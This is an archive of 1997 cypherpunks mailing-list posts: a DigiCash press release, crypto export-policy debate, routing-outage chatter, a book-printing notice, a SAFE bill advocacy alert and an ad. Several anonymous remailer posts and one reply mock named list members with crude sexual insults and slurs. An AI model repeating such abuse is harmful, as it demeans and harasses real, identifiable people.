DigiCash founder, Dr. David Chaum, also announced significant
additional investment that will fuel the company's growth.

Nash will join Dr. Chaum, Nicholas Negroponte, and new investor David
Marquardt of August Capital, on an expanded board that adds new
resources and depth of industry experience to DigiCash.  His primary
mission will be to add business and marketing excellence to the world
class cryptographic expertise and technology that has enabled
development of such cutting edge products as ecash(tm) and OEM smart card
systems, for which DigiCash is recognized throughout the banking and
financial services industry.

"Mike brings a new dimension to DigiCash with his background in the
business of electronic payments and his international marketing
experience with Visa, American Express and the SmartCard Group at
Amdahl," said Dr. Chaum.  "The partnership that we form will take this
company a great step forward and help us grow into a significant force
in the business of electronic commerce."

Nash, who conceived and developed VisaCash, a smart card-based, stored
value payment system, will create an international sales and marketing
strategy for smart cards and ecash(tm), the unique Internet payment system
which offers both security and privacy.
DigiCash is already providing ecash(tm) systems to Deutsche Bank in
Germany, Bank Austria, Advance Bank in Australia, Den norske Bank of
Norway and the Nomura Research Institute in Japan, as well as other
leading banks.

Further expansion in North America, where the company is newly
headquartered, will be a major focus for the new CEO.  Another reason
for the move is to facilitate alliances with firms in the Silicon Valley
area that are pioneering commerce on the Internet.

"Ecash(tm) is at the forefront of a revolution in the way the world does
business," said Nash.  "DigiCash technology offers the security and
privacy that is inherent in traditional bearer instruments such as coins
and bank notes, but with the flexibility and power of the Internet.
This is a great opportunity to shape the new way commerce will be done."

DigiCash interim Chairman Nicholas Negroponte, author of Being Digital,
head of the MIT Media Lab and a member of the Motorola Inc. board is
quoted as saying, "Ecash(tm) is the most exciting thing I've seen in 20
years."  Negroponte is also a general partner of Applied Technology
Investors, one of the firms that is backing DigiCash.

Newly appointed director David Marquardt, General Partner at August
Capital, and previously Technology Ventures Inc. (TVI) was an early
investor in Intuit, Sun Microsystems and Verifone.  He also was the sole
venture investor in Microsoft where he currently serves on their board
of investors.  He too is excited by the possibilities of the technology
that lies at the heart of DigiCash Products, saying, "This is the type
of basic infrastructure that will be essential for the commercial growth
of electronic payments on the Internet."

The target market for ecash(tm) is enormous.  There are more than 20,000
banks and over 10 million retailers around the world that are potential
customers for ecash(tm) transactions, and more than a billion consumers who
want the security, privacy and convenience of electronic coins and
banknotes.  Nash, who has already taken up his appointment with
DigiCash, sees this entire market as an opportunity for his company.  As
well as targeting additional leading banks and other customers in North
America and the Pacific Rim, he has a stated goal of establishing
relationships with leading banks in the G7 nations, a goal which is
already more than half accomplished.

About DigiCash

DigiCash is a private venture capital backed corporation with
headquarters in the United States and offices in The Netherlands,
Australia and Singapore.  Founded by Dr. David Chaum, a luminary in the
field of cryptography and electronic cash technology, the company creates
and markets the most sophisticated software in the world for smart cards
and secure, private Internet payment transactions.

 - end -

EDITORS NOTE: More information on DigiCash and biographies of Michael
Nash and Dr. David Chaum are available from LVA or by accessing the
DigiCash Website at http://www.digicash.com/

DigiCash and ecash are trademarks of DigiCash and should always be
referred to as such.  All other trademarks are the property of their owners.

Contact details:

Netherlands				United States
DigiCash bv				LVA
Toby Chaum				Ian Cheeseman
Ph:		+31 20 665 2611		Ph:		+1 860 739 5598
Fax:		+31 20 665 1126		Fax:		+1 860 691 0353
email:  	press at digicash.com	email: 	icheeseman at mcimail.com
					United Kingdom/Europe
Australia:				LVA UK
DigiCash Pty Ltd			Mike Hardwidge
Andreas Furche				Ph:		+44 181 994 6762
Ph:		+61 2 9375 2316		Fax:		+44 181 995 3050
Fax: 		+61 2 9375 2121		email: 	101765.1155 at compuserve.com
email: andreas at digicash.com

--
Andreas Furche					Level 29 The Chifley Tower
Managing Director				2 Chifley Square
DigiCash Pty. Ltd.				Sydney 2000, Australia
e-mail: andreas at digicash.com			ph  +61 2 9375 2316
mobile (0419) 385 569 (NEW number!)		fax +61 2 9375 2121



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Subscriptions to and archives of this list are available to any person
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--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/








From hua at chromatic.com  Mon Apr 28 11:27:37 1997
From: hua at chromatic.com (Ernest Hua)
Date: Mon, 28 Apr 1997 11:27:37 -0700 (PDT)
Subject: No Subject
Message-ID: <199704281827.LAA27404@server1.chromatic.com>



> From: jimbell at pacifier.com (Jim Bell)
>
> > can't have everything OUR way, the FIRST time around.  Washington
>
> I think you misunderstand the situation.  The government is in somewhat of a
> disadvantage by virtue of the fact that there is relatively little
> pro-censorship and anti-encryption legislation.  Absent such legislation,

Here is where I don't agree on the merits ...

1.  Pro-censorship agendas does not need much legislative momentum
because it does not take much P.R. on a child-molestation-murder
incident on some little caucasian girl from a motherhood-and-apple-pie
Small Town, U.S.A. to drum up the sentiments to censor.

2.  Anti-encryption has been well guarded by the NSA/CIA/FBI/DoD for a
long time using the semi-legitimate veil of national security.  In
fact, in some senses, there ARE legislative support, even if
unconstitutional when evaluated in the bright light of day.  The
problem is that you'll fight for years JUST TO GET A CHANCE to
evaluate the law itself.

Yes, some of the current legal battles are on their way there, but
it's been a LONG time, and every decision/every appeal takes months to
years, and it's clear that the NSA is hoping that in 2 years, they can
sign up enough pro-key-recovery companies to make the legal battles
moot.  2 years is pretty short compared to the time scales on these
battles, and the NSA is counting on just that.

To me, the time-to-market is just as important as the purity of the
products (the proposed legislations).

> the status-quo moves in a relatively free fashion, which is why the
> Internet is mostly unregulated today.

I don't think anyone will be willing to genuinely export encryption
(in a real commercial product) while directly flaunting the NSA's
implicit/explicit authority on this matter.  Corporations are too
concerned with the short term bottom line to care about more long term
goals like have freedom to export anything it wants.  I already know
of several instances at various companies where designs were
deliberately altered to NOT give the appearance of designing a product
with specific encryption/decryption capabilities, even though that is
what the product must support, fundamentally speaking.  Therefore, I
must conclude that the NSA is definitely winning some battles on their
2 year schedule already.

> From: Declan McCullagh 
>
> The question is: Do we want to give up any domestic freedom in exchange
> for a relaxation of export controls? (Congress is, after all, built on
> compromises between warring factions.)
>
> My instinct is to say "No." Let the courts strike down ITAR, EAR, and its
> progeny, while we keep our freedoms domestically.

I really don't think we are disagreeing here.  I would not support any
restrictions on domestic usage, nor would I support any restrictions
on what non-governmental institutions may use.  I still believe we
should push for all we can get because that is the way the
legistlative process works, and that is the game the other side is
playing.  However, we shouldn't place unrealistic constraints on our
supporting legislators such as taking an "all or nothing" attitude.

Even if all we can get is 56-bit or 64-bit export legalization, it is
a HUGE chip away from the NSA rock because their "2 years free for key
recovery" plan is just that much weaker.  I would rather see, of
course, 128-bit/168-bit be liberalized, because that would essentially
mean that everything is liberalized, because the NSA has been playing
this "56-bit is too strong" charade, and losing 128-bit/168-bit is
essentially losing their argument, unless they want to risk coming to
the security committees admitting that they have lied.

> From: Lucky Green 
>
> > Let's let the legislative process (whatever you think of it) take its
> > course.  I'll be happy even if they sneak some screwy secret committee
> > on the final bill, as long as we are not subject to that committee or
> > any other governmental body just because we allow ftp of C source code
>
> I think this is a dangerous position to take... make that fatal. The
> code is already being ftp'ed out of the US. The law would gain you
> little.

Well, we're not talking about the realities of the massive
semi-underground activities.  We're talking about the U.S. Government,
(which often has poor notions/understandings of reality), corporations
(which often must obide by the laws and regulations, however poor,
crafted by the U.S. Gov.), and genuine consumer applications (which
are significantly driven by the products produced by these
corporations).

> But the new restrictions/enhanced penalties, which will
> inevitably be included in any crypto bill that might become law,
> will set us back severely.  Personally, I hope that none of the
> crypto bills pending gets passed.

Of course, I don't like any of them, especially if there are still
secret committees with very real control written into the legislation.
If the NSA/FBI can call up Robert Allen to stall a secure phone
product line, they already have enough power outside the legal process
that they don't need any real committees to help them out.  However,
NSA will clearly deny having this level of influence to the security
committees, and they will most likely accept the NSA's word.

Ern

-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua at chromatic.com







From wombat at mcfeely.bsfs.org  Mon Apr 28 12:40:26 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Mon, 28 Apr 1997 12:40:26 -0700 (PDT)
Subject: Staale & Elm
In-Reply-To: <199704281539.IAA20003@slack.lne.com>
Message-ID: 



> Hmm.  I saw problems friday and saturday.  Saturday I was checking URLs in
> a book on hacking and security that I'm editing, and a number of
> ordinarily reachable sites were down.  Traceroutes to them showed
> wierd routing problems, mostly routing 'loops'.
> 

Things looked fairly stable Saturday, from my perspective. I'll sniff around.
Routing loops do sound suspicious. Where were they cropping up?

> 
> I'm not picking on cisco, you missed my point.
> 

No, just ignored it.  :)

Actually, there is a lot of change going on right now affecting network
topology; many ortganizations are migrating away from the basics and are
implementing packet shredders ^H^H^H^H^H^H^H^ ATM, higher speed circuits
than they are accustomed to, running alpha code on production routers out
of necessity (perceived or otherwise), etc. Very hard to "certify"  that
type of environment, but the exponential growth rate of the 'net has
required (or resulted in) some drastic actions. 


> 
> In all other 'infrastructures' (i.e. phone company, roads)
> only officially-sanctioned people are allowed access to work on things.
> With the phone company, it's phone company employees & contractors, with
> the roads its government employees and contractors.  When private
> extensions are added, they're restricted and compartlemtalized so
> that they can't affect the entire infrastructure... a private
> corporate phone switch's misprogramming doesn't bring down Pac Bell.

It's the "and contractors" that is the catch-all here. That includes damn
near everybody these days. Also - the voice system is still primarily a
connection-switched network, not a packet-switched network. Different
animal. Even so, a certain well known long distance providor managed to
bring down local calling across most of the east coast 4 or 5 years ago,
as a result of a software upgrade that didn't. 


> a situation like this is to design more fail-safes into the system to
> prevent a clueless admin or a router with a software error from
> causing so much damage. 

So much damage? There have been far more severe Internet outages. There 
have been far more severe voice network outages, and for far greater 
duration. Amtrak managed to backhoe a major fiber trunk a while back, and 
nailed both voice and data services in the mid-atlantic region rather 
severely, not all that long ago. Friday was a fairly isolated and short 
term problem, unless you were working at Sprint.

As far as engineering solutions go, the route filtering vs. AS_PATH debate
has been going on for a while.  Recent events should add a bit of fuel. 

 But politicians, when faced with the same
> situation, their first reaction is "We gotta have a Law".

True. But it is hard to legislate competence. Perhaps we could start with 
Congress as an experiment.

> My prediction is that if things like this keep happening, the Internet will
> be declared a "defense interest computer system" or something similar,

Like NIPRnet, which was only about 20% functional for most of a day only 
a few weeks back as a result of ATM switch failures?

The Internet is growing far too rapidly to be 100% dependable, at the 
moment, and no measure of legislation will fix this, certainly not in the 
short run. If Uncle Sam needs a reliable, fault-tolerant network, he 
should fix NIPRnet. If he can figure out how to do that (doubtful), maybe 
he'll have a qual when talking about the big picture.

-r.w.
-------------------------------------------
Shit happens.
-------------------------------------------






From alano at teleport.com  Mon Apr 28 13:35:01 1997
From: alano at teleport.com (Alan)
Date: Mon, 28 Apr 1997 13:35:01 -0700 (PDT)
Subject: Staale & Elm
In-Reply-To: 
Message-ID: 


On Mon, 28 Apr 1997, Rabid Wombat wrote:

> 
> > Hmm.  I saw problems friday and saturday.  Saturday I was checking URLs in
> > a book on hacking and security that I'm editing, and a number of
> > ordinarily reachable sites were down.  Traceroutes to them showed
> > wierd routing problems, mostly routing 'loops'.
> > 
> 
> Things looked fairly stable Saturday, from my perspective. I'll sniff around.
> Routing loops do sound suspicious. Where were they cropping up?

I found the cause of my problem with connecting.

It seems that those sites have started doing reverse DNS lookups (probably
because of the l0pht hacks).  Reverse DNS is screwed up on my domain, so I
am getting dropped.  (The least people can do when denying addresses from
reverse DNS failure is to give a short message as to why so it can be
fixed, not just drop the connection with no error message.)  The thing
that had me confused about the whole situation is that I was able to get
in on a sporatic basis on one of the machines.

Fixing the problem on my end is going to be a pain.  I have to get it
resolved through two different ISPs to get the gordian dns knot
straightened out.  Blech!

Oh well...  






From nobody at huge.cajones.com  Mon Apr 28 17:27:49 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 28 Apr 1997 17:27:49 -0700 (PDT)
Subject: MAKE BIG REPUTATION CAPITAL !!!
Message-ID: <199704290027.RAA32708@fat.doobie.com>


Hello Mr. C. Punk,
  We all get junk email promising instant riches if we send away our 
hard-earned dollars to a total stranger who promises us outrageous 
returns on our investment. So why aren't we all rich beyond our wildest
dreams?
  The answer is simple -- GOVERNMENT INTERFERENCE WITH THE FREE MARKET!

  The Federal Treasury only prints so much hard currency, thus limiting
the amount of available funds for the citizens to invest in Multi-Level
Marketing schemes. Therefore, in the long run, all of these efforts are
doomed to failure.
  Now, however, thanks to the cutting edge technology of Reputation
Capital Enterprises, Inc., all government interference has been bypassed
and citizens such as yourself can now be offered a MLM OPPORTUNITY which
is unlimited in scope.
  Now you can increase your REPUTATION CAPITAL by leaps and bounds, by
simply investing a small portion of it in this UNIQUE OPPORTUNITY, which
is initially being offered to only those few individuals who already 
have a modicum of RC to invest.

  Just listen to what a few select individuals have to say about how
the REPUTATION CAPITAL MULTI-LEVEL MARKETING SCHEME has changed their
lives for the better:

Jim Bell:
  "My reputation capital had sunk so low that even when I was persecuted
by the government, I didn't get any support from my fellow anarchists.
  "They all said I was a fucking 'loon' and tried to distance themselves
from me, so that my problems wouldn't reflect badly on themselves.
  "Now, thanks to the RC MLM SCHEME, my Reputation Capital has increased
to such a degree that the IRS tells me they'll just trust me to file
proper returns in the future, even if I claim large rebates, and my 
fellow cypherpunks are fighting over who will get to provide me with 
free lodging, food, and alcoholic beverages during my visit to the
Bay Area cypherpunks meetings."

Rapid Wombat:
  "It's not easy being a marsupial. When you can't walk upright, people
tend to discount your thoughts and opinions, no matter how well you
present them.
  "Thanks to the RC MLM SCHEME, however, I now have people from around
the world who consult me as to what kind of wine goes with insects and
small larvae."

Dr. Dimitri Vulis KOTM:
  "I was once reviled by all -- my posts were canceled from Usenet, I 
was being unsubscribed from mailing lists, and my ASCII art was sent
to the trash bin without a second thought.
  "Thanks to the RC MLM SCHEME my gratuitous insults are now considered
a badge of honor, and I receive constant requests for digitally signed
ASCII art works, which are now receiving recognition as a reputable art
form.
  "I even receive private email from Gilmore  and Sameer ,
begging me to let them suck my cock."

Tim C. May:
  "Of course, I wrote about this back in the early '50's, before many
of you were even born. That's why I have so goddamn much Reputation
Capital piled up in my basement, next to the boxes of AK-47's.
  "If you took advantage of the RC MLM SCHEME, then you, too, could
write long, rambling posts to the cypherpunks list going on endlessly
about syphlitic philosophers like Nietzsche, and nobody would dare
question whether the post was off-topic."

Kent Crispin:
  "I don't have a brain in my head, and I live in an intellectual ivory
tower where I can comfortably avoid any issues which have to do with
the niggardly details of real life.
  "Thanks to the RC MLM SCHEME, however, my Reputation Capital has 
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  ACT TODAY, and you can increase your REPUTATION CAPITAL to the point
where people will take your ideas, no matter how half-baked they are,
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to act as if your ideas and opinions are worthy of reading, let alone
considering.

  To begin your journey to REPUTATION CAPITAL RICHES, just send an email
to the addresses below, signifying that you consider this person to be
a recognized, hallowed authority on everything under the sun, and some
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  Within days, you will receive a plentiful plethora of pithy
episticles,
deeming you to be a person of consummate reputation, worthy of the 
utmost respect for your ideas and opinions.

#1 - alec at abraxis.com
#2 - aga at dhp.com
#3 - alan at ctrl-alt-del.com

Reputation Monger






From nobody at huge.cajones.com  Mon Apr 28 17:35:38 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 28 Apr 1997 17:35:38 -0700 (PDT)
Subject: [ADMINISTRATIVIUM] BBN
Message-ID: <199704290035.RAA00276@fat.doobie.com>


If Internet is the `information highway', then Tim 
Mayhem is the roadside litter in the gutter.

      ' ' ' ' 
      ^-O-O-^
   -ooO--U--Ooo- Tim Mayhem






From nobody at huge.cajones.com  Mon Apr 28 18:28:20 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 28 Apr 1997 18:28:20 -0700 (PDT)
Subject: Accounts payable
Message-ID: <199704290128.SAA02591@fat.doobie.com>


Date: Mon, 28 Apr 1997
From: Graham-John Bullers 
To: Huge Cajones Remailer 
Cc: cypherpunks at toad.com
Subject: Re: Accounts payable
Sender: owner-cypherpunks at sirius.infonex.com
Reply-To: Graham-John Bullers 

On Mon, 28 Apr 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Here, Timothy C[unt] Mayonnaise descends into total inanity. 
> He should have a cold shower and/or Graham-John Bullers.
> 
>         ///////
>         \-oo-/  Timothy C[unt] Mayonnaise
>          \--/
>           \/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From schneier at counterpane.com  Mon Apr 28 19:14:51 1997
From: schneier at counterpane.com (Bruce Schneier)
Date: Mon, 28 Apr 1997 19:14:51 -0700 (PDT)
Subject: Corrected Printing of Applied Cryptography Now Available
Message-ID: 


Wiley has finally published a corrected printing of Applied Cryptography,
2nd ed!!!

They didn't correct everything, only changes that didn't affect page breaks.
Still, I counted over 250 individual corrections.  And under a dozen errors
remaining.  I'm thrilled that they finally did this.

The fifth printing (or greater) is the corrected printing.  To find what
printing you own, turn to page iv (it's opposite the "Contents in Brief"
page).  The last line (under "Printed in the United States of America")
is a series of numbers, counting down from 10.  The lowest number is the
printing.  You have a fifth printing if your last line looks like:

	10 9 8 7 6 5

If you want to buy a fifth printing, you have two options.  One, you can go
to a bookstore and find one.  You can't ask the bookstore to buy a fifth
printing; all he can do is order a copy of the book and hope for the best.
I believe that the fourth printing is sold out (in softcover, at least),
but I cannot be sure.

The other option is to buy it from me.  I have a large supply of fifth
printings that I will sell at the usual 15% discount:

	softcover - $42.00
	hardcover - $59.00

Postage is as follows:

	surface to US - $3.00
	air to US - $5.00
	Canada - $5.00
	surface elsewhere - $5.00

Contact me if you want airmail overseas.  It's expensive.

Cheers,
Bruce

************************************************************************
* Bruce Schneier            2,000,000,000,000,000,000,000,000,002,000,
* Counterpane Systems       000,000,000,000,000,000,002,000,000,002,293
* schneier at counterpane.com  The last prime number...alphabetically!
* (612) 823-1098            Two vigintillion, two undecillion, two
* 101 E Minnehaha Pkwy      trillion, two thousand, two hundred and
* Minneapolis, MN  55419    ninety three.
* http://www.counterpane.com
************************************************************************







From shabbir at vtw.org  Mon Apr 28 19:25:28 1997
From: shabbir at vtw.org (Shabbir J. Safdar)
Date: Mon, 28 Apr 1997 19:25:28 -0700 (PDT)
Subject: ALERT: Groups urge passage of pro-crypto legislation (4/28/1997)
Message-ID: <199704290225.WAA25036@panix3.panix.com>


==============================================================================
  ___  _     _____ ____ _____ _
 / _ \| |   | ____|  _ \_   _| |   THE HOUSE PREPARES TO ENSURE ENCRYPTION
| |_| | |   |  _| | |_) || | | |    AND PRIVACY ON THE INTERNET; SAFE
|  _  | |___| |___|  _ < | | |_|     BILL (HR 695) ABOUT TO BE VOTED ON!
|_| |_|_____|_____|_| \_\|_| (_)               April 28, 1997

                 Do not forward this alert after June 1, 1997.

                        This alert brought to you by:

    Americans for Tax Reform            Center for Democracy and Technology
    Eagle Forum                         EF-Florida
    Electronic Frontier Foundation      Electronic Privacy Information Ctr.
    Voters Telecommunications Watch     Wired Magazine

_____________________________________________________________________________
Table of Contents
      What's Happening Right Now
      What You Can Do To Help Privacy And Security On The Internet
      Background On SAFE (HR 695)
      Why Is This Issue Important To Internet Users?
      About This Alert / Participating Organizations

_____________________________________________________________________________
WHAT'S HAPPENING RIGHT NOW

HOUSE JUDICIARY COMMITTEE TO VOTE ON "SAFE" PRO-INTERNET PRIVACY BILL

The House Judiciary Committee is set to vote on a bill designed to protect
privacy and promote electronic commerce on the Internet as early as the
second week of May.  The SAFE bill will also be considered by a Judiciary
subcommittee this week and is expected to pass without difficulty.

The House Judiciary committee vote on HR695 will mark a critical stage
in the effort to pass real reform of US encryption policy in a way that
protects privacy, promotes electronic commerce, and recognizes the
realities of the global Internet.

Although no bill is perfect, Internet advocates including CDT, EFF,
EPIC, VTW and others, including the Internet Privacy Coalition, have
expressed support for the bill.  Supporters agree that the SAFE bill
holds great promise for enhancing privacy and security on the Internet
and have offered their strong support and suggestions to improve it in
a detailed letter at http://www.privacy.org/ipc/safe_letter.html

Please take a moment to read the attached alert, and make a phone call 
to urge the committee to pass the bill.

_______________________________________________________________________
WHAT YOU CAN DO TO HELP PRIVACY AND SECURITY ON THE INTERNET

1. Check out the information on the SAFE bill below.

2. Call the Representative on the Judiciary committee from your state.  Note
   that there may be more than one person from your state on the committee.
   The list is enclosed below the telephone script.

   SAMPLE SCRIPT
      You:  
            May I speak to the office of Rep. (INSERT NAME FROM LIST BELOW)

      Them: Hello, Rep. Mojo's office!

       You: May I speak with the staffer who deals with Internet or
            telecom issues?

      Them: One minute..

SAY    You: Hello!  HR695 will be voted on by the Judiciary committee in a
THIS->      couple of weeks.  I'm calling to urge Rep. Mojo to pass the
            bill because it's important to security and privacy on the
            Internet.
     
      Them: Thanks, goodbye!

       You: Goodbye! 

   If you have concerns about specific improvements to the bill, bringing
   them up when you're on the phone with the staffer is a good opportunity
   for raising issues. 

              Judiciary Committee Members (from committee Web page)

                        MR. HYDE (ILLINOIS), CHAIRMAN
    Mr. Sensenbrenner (Wisconsin)                Mr. Conyers (Michigan)
    Mr. McCollum (Florida)                       Mr. Frank (Massachusetts)
    Mr. Gekas (Pennsylvania)                     Mr. Schumer (New York)
    Mr. Coble (North Carolina)                   Mr. Berman (California)
    Mr. Smith (Texas)                            Mr. Boucher (Virginia)
    Mr. Schiff (New Mexico)                      Mr. Nadler (New York)
    Mr. Gallegly (California)                    Mr. Scott (Virginia)
    Mr. Canady (Florida)                         Mr. Watt (North Carolina)
    Mr. Inglis (South Carolina)                  Ms. Lofgren (California)
    Mr. Goodlatte (Virginia)                     Ms. Jackson Lee (Texas)
    Mr. Buyer (Indiana)                          Ms. Waters (California)
    Mr. Bono (California)                        Mr. Meehan (Massachusetts)
    Mr. Bryant (Tennessee)                       Mr. Delahunt (Massachusetts)
    Mr. Chabot (Ohio)                            Mr. Wexler (Florida)
    Mr. Barr (Georgia)                           Mr. Rothman (New Jersey)
    Mr. Jenkins (Tennessee)                      Mr. Hutchinson (Arkansas)
    Mr. Pease (Indiana)                          Mr. Cannon (Utah)

3. *IMPORTANT* Touch base with us at http://www.crypto.com/feedback/ and
   let us know how the phone call went.  Fill out the easy to use form to
   let us know what happened during your phone call.

4. Pass this alert on to others until June 1

   You've taken the first step to being a part of the powerful political
   force of Americans concerned about the health and safety of the Internet,
   but have your friends?  Forward this alert to them until June 1, 1997
   and urge them to adopt their legislator at http://www.crypto.com/adopt/

5. Be proud of yourself and relax!

   You've done more to protect the Internet in five minutes than many people
   will do this year.
   
________________________________________________________________________
BACKGROUND ON SAFE (HR 695)

In early May, the Judiciary Committee will be voting on whether to send
HR 695, the Security and Freedom Through Encryption (SAFE) Act, on to the
full House of Representatives.

The SAFE Bill, introduced by Reps. Bob Goodlatte (R-VA) and Anna Eshoo
(D-CA), would promote privacy and security on the Internet by:

* relaxing current export controls on encryption technologies;

* prohibiting the government from imposing "key-escrow" or "key-
  recovery" inside the United States, and;

* addresses concerns from law enforcement about the use of encryption
  in the furtherance of a crime.

The SAFE bill enjoys broad bi-partisan support and currently has 78
co-sponsors.

Although no bill is ever perfect, the SAFE bill, along with Pro-CODE, a
similar bill in the Senate sponsored by Sens. Burns (R-MT) and Leahy
(D-VT), represent the best chance yet of passing real reform of US
encryption policy.  The Senate Commerce Committee is expected to hold a
markup on Pro-CODE soon.

The Clinton Administration, through the FBI and NSA, is working hard
behind the scenes to block passage of SAFE and Pro-CODE. The
Administration favors an approach which would limit the availability of
privacy-protecting encryption technologies and compel American Citizens
to ensure law enforcement access to their private online
communications.

By passing the SAFE bill and sending on to the floor, the House
Judiciary Committee will send a strong signal to the Administration
that Congress is serious about passing real reform of US encryption
policy, and would represent an important victory in the fight for
privacy on the Internet.

Detailed background information, including the full text of the bill,
and analysis is available online at http://www.crypto.com/

______________________________________________________________________
WHY IS THIS ISSUE IMPORTANT TO INTERNET USERS?

Encryption technologies are the locks and keys of the Information age
-- enabling individuals and businesses to protect sensitive information
as it is transmitted over the Internet. As more and more individuals
and businesses come online, the need for strong, reliable, easy-to-use
encryption technologies has become a critical issue to the health and
viability of the Net.

Current US encryption policy, which limits the strength of encryption
products US companies can sell abroad, also limits the availability of
strong, easy-to-use encryption technologies in the United States. US
hardware and software manufacturers who wish to sell their products on
the global market must either conform to US encryption export limits or
produce two separate versions of the same product, a costly and
complicated alternative.

The export controls, which the NSA and FBI argue help to keep strong
encryption out of the hands of foreign adversaries, are having the
opposite effect. Strong encryption is available abroad, but because of
the export limits and the confusion created by nearly four years of
debate over US encryption policy, strong, easy-to-use privacy and
security technologies are not widely available off the shelf or "on the
net" here in the US.

A recently discovered flaw in the security of the new digital telephone
network exposed the worst aspects of the Administration's encryption
policy.  Because the designers needed to be able to export their
products, the system's security was "dumbed down".  Researchers
subsequently discovered that it is quite easy to break the security of the
system and intrude on what should be private conversations.

This incident underscores the larger policy problem: US companies are
at a competitive disadvantage in the global marketplace when competing
against companies that do not have such hindrances.  And now, for the first
time in history, the Clinton Administration has proposed DOMESTIC
RESTRICTIONS on the ability of Americans to protect their privacy and
security online.

All of us care about our national security, and no one wants to make it
any easier for criminals and terrorists to commit criminal acts. But we
must also recognize encryption technologies can aid law enforcement
and protect national security by limiting the threat of industrial
espionage and foreign spying, promote electronic commerce and protecting
privacy.

What's at stake in this debate is nothing less than the future of
privacy and the fate of the Internet as a secure and trusted medium for
commerce, education, and political discourse.

_____________________________________________________________________________
ABOUT THIS ALERT / PARTICIPATING ORGANIZATIONS

For more information, contact the following organizations who have signed onto
this effort at their web sites.

Americans for Tax Reform                                 http://www.atr.org
Center for Democracy and Technology                      http://www.cdt.org
Eagle Forum                                       http://www.eagleforum.org
EF-Florida                                         http://www.efflorida.org
Electronic Frontier Foundation                           http://www.eff.org
Electronic Privacy Information Center                   http://www.epic.org
Voters Telecommunications Watch                          http://www.vtw.org
Wired Magazine                                         http://www.wired.com

_____________________________________________________________________________
end alert
==============================================================================





From announce at lists.zdnet.com  Mon Apr 28 19:56:14 1997
From: announce at lists.zdnet.com (announce at lists.zdnet.com)
Date: Mon, 28 Apr 1997 19:56:14 -0700 (PDT)
Subject: ZDNet Special Offer:  PC Tech Forum Discount!
Message-ID: 


--------------------------------------------------------------------
           ZDNET ANNOUNCEMENT          5/1/97
--------------------------------------------------------------------

PC Week and PC Magazine, co-sponsors of PC Tech Forum, have an 
exclusive offer for ZDNet members: Attend PC Tech Forum on 
May 20- 21 for a *SPECIAL* low rate of $995 - a $200 discount!

What:  PC Tech Forum
Where: Hyatt Regency/San Francisco Airport, Burlingame, California
When:  May 20-21, pre- and post-conference seminars May 19 and 22

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Analyst of Microprocessor Report and MicroDesign Resource, is your 
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_______________________________________________________________      

ZDNet Announcements are periodic notices of new features,
special events and free offers available to members of ZDNet.

--To subscribe to ZDNet Announcements, please send mail to:
announce-on at lists.zdnet.com       

You can leave the subject and body blank.       

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Powered by Mercury Mail: http://www.merc.com






From whgiii at amaranth.com  Mon Apr 28 20:21:50 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Mon, 28 Apr 1997 20:21:50 -0700 (PDT)
Subject: ZDNet Special Offer:  PC Tech Forum Discount!
In-Reply-To: 
Message-ID: <199704290317.WAA13098@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In
,
on 04/28/97 at 08:42 PM,
   announce at lists.zdnet.com said:


>PC Week and PC Magazine, co-sponsors of PC Tech Forum, have an  exclusive
>offer for ZDNet members: Attend PC Tech Forum on 
>May 20- 21 for a *SPECIAL* low rate of $995 - a $200 discount!

WOW!!! Only $995 to hear the Micro$oft Party Line. What A DEAL!!!! I'll be
sending my check out real soon, honest!!

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Dos: Venerable.  Windows: Vulnerable.  OS/2: Viable.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM2V3xo9Co1n+aLhhAQHADgP/ZEMAWJPeyHefHjYDXII+BZomiyLYwQWO
Qv8JOIMOZkXiwasxMXZlkleuSbONyYoK9SfNHPC5kxXZ/tdp+OeTEspPQhRAu+E9
jTNlObLVlpU/OP/2oDouMysOhbGegOIyiHndA1WTl5+3FcWpEu+ypn/mOahEowyZ
pKG7w3JhUWA=
=nyQZ
-----END PGP SIGNATURE-----






From real at freenet.edmonton.ab.ca  Mon Apr 28 22:28:32 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Mon, 28 Apr 1997 22:28:32 -0700 (PDT)
Subject: [ADMINISTRATIVIUM] BBN
In-Reply-To: <199704290035.RAA00276@fat.doobie.com>
Message-ID: 


On Mon, 28 Apr 1997, Huge Cajones Remailer wrote:

Come out of the closet Vulis.

> If Internet is the `information highway', then Tim 
> Mayhem is the roadside litter in the gutter.
> 
>       ' ' ' ' 
>       ^-O-O-^
